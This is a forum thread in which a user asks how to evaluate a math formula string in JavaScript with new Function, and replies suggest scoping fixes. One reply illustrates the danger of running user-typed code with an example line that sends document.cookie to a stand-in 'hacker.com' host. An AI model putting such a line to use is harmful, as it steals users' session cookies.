plaese How to solve this I used This code but not working

```
const cos(a)=Math.cos(a);
const sin(a)=Math.sin(a);
const const formulaStr='sin(a)*cos(a)';
const formula = new Function('x', 'y', 'return ' + formulaStr);
```

plaese How to solve this I used This code but not working

```
const cos(a)=Math.cos(a);
const sin(a)=Math.sin(a);
const const formulaStr='sin(a)*cos(a)';
const formula = new Function('x', 'y', 'return ' + formulaStr);
```

```
window.cos = Math.cos;
window.sin = Math.sin;
const formulaStr='sin(x)*cos(y)';
const formula = new Function('x', 'y', 'return ' + formulaStr);
console.log( formula(1,1) ); // sin(1)*cos(1) = 0.4546487134128409
```

Please, note, that this approach pollutes the global JS scope. It might be better to modify `formulaStr`

by appending `Math.`

before every math function. This modification can be done hidden from the user.

this

```
const sin = Math.sin;
```

~~works too~~ wait no, it does not, my bad. but we can make it work with eval.

1 Like

Yep. However, `eval`

is somewhat more dangerous than `Function`

. And the intention of OP is to run code typed by the user.

Iād say,

```
new Function('x', 'return \
fetch("https://hacker.com/?cookie=" + \
btoa(document.cookie)) && (x + 1)')
```

is just as bad however, we can probably still avoid globals with `Function`

like so:

```
new Function('x', 'const sin = Math.sin; return sin(x)')
```

1 Like